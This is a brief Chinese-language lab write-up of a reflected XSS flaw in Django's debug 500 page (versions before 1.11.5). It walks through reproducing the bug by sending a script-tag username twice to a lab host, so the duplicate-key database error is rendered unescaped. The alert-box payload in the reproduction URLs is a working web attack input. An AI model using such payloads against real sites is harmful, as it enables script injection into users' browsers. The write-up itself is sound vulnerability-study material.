漏洞描述
Django是Django软件基金会的一套基于Python语言的开源Web应用框架。该框架包括面向对象的映射器、视图系统、模板系统等。Django1.10.8之前的版本和1.11.5之前的1.11.x版本中的Technical500Template存在安全漏洞,该漏洞源于程序没有正确的过滤用户提交的输入。远程攻击者可利用该漏洞在浏览器中执行任意脚本代码。
https://blog.csdn.net/zy15667076526/article/details/111134982
漏洞影响
Django < 1.11.5
漏洞复现
访问http://node3.buuoj.cn:28199/create_user/?username=1创建用户,在username处注入一个xss<script>alert1)</script>
触发漏洞,再次访问http://node3.buuoj.cn:28199/create_user/?username=%3Cscript%3Ealert(1)%3C/script%3E
可见,Postgres抛出的异常为
duplicate key value violates unique constraint “xss_user_username_key”
DETAIL: Key (username)=() already exists.
这个异常被拼接进The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception,最后触发XSS。